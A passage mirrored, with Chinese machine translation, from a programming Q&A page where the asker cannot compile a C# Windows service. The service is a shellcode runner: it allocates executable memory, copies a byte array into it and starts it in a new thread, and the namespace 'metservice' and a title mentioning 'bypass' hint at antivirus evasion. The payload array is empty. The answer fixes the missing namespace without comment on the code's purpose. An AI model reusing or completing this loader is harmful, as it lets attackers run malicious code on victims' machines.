简体   繁体   English

'Service1.OnStart(string[])':找不到合适的方法来覆盖绕过

[英]'Service1.OnStart(string[])': no suitable method found to override bypass

I am trying to execute the below code but unable to compile due to the error OnStart function.我正在尝试执行以下代码,但由于错误OnStart function 而无法编译。

When I try to compile this whole code it shows up error in Service class function along with On start function.当我尝试编译整个代码时,它在服务 class function 以及启动 function 中显示错误。 Currently I am trying to compile this code on visual studio 2015.目前我正在尝试在 Visual Studio 2015 上编译此代码。

I have tried changing OnStart() to OnAppearing() but no change same error comes up every time.我尝试将 OnStart() 更改为 OnAppearing() 但每次都没有更改相同的错误。

Please visit the link to see the screenshot请访问链接以查看屏幕截图

https://i.stack.imgur.com/5S0tH.png https://i.stack.imgur.com/5S0tH.png

using System;
using System.Runtime.InteropServices;

    namespace metservice
    {
        public partial class Service1 : ServiceBase
        {

    protected override void OnStart(string[] args)
            {
                byte[] code1 = new byte[] { };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)code1.Length,
                            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(code1, 0, (IntPtr)(funcAddr), code1.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(

          string moduleName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(

          IntPtr hModule,
          string procName

          );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(

          string lpFileName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();

    }
}

You could try adding the namespace to the class you are inheriting:您可以尝试将命名空间添加到您继承的 class 中:

public partial class Service1 : System.ServiceProcess.ServiceBase 
{ 
  ...
}

Or simply add the namespace:或者简单地添加命名空间:

using System.ServiceProcess;

If for some reason this does not work: make sure you referenced the assembly: System.ServiceProcess.ServiceController.dll如果由于某种原因这不起作用:确保您引用了程序集: System.ServiceProcess.ServiceController.dll

Since the class is defined partial and we do not get the other part(s), it could also be that there is also an error in this other part.由于 class 是部分定义的,我们没有得到其他部分,也可能是其他部分也有错误。

To test this, try removing the partial keyword and see if your code compiles then.要对此进行测试,请尝试删除 partial 关键字,然后查看您的代码是否可以编译。 System.ServiceProcess.ServiceBase has a virtual protected OnStarted method, so it should be overridable the way you set it up. System.ServiceProcess.ServiceBase 有一个虚拟的受保护的 OnStarted 方法,因此它应该可以按照您的设置方式进行覆盖。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM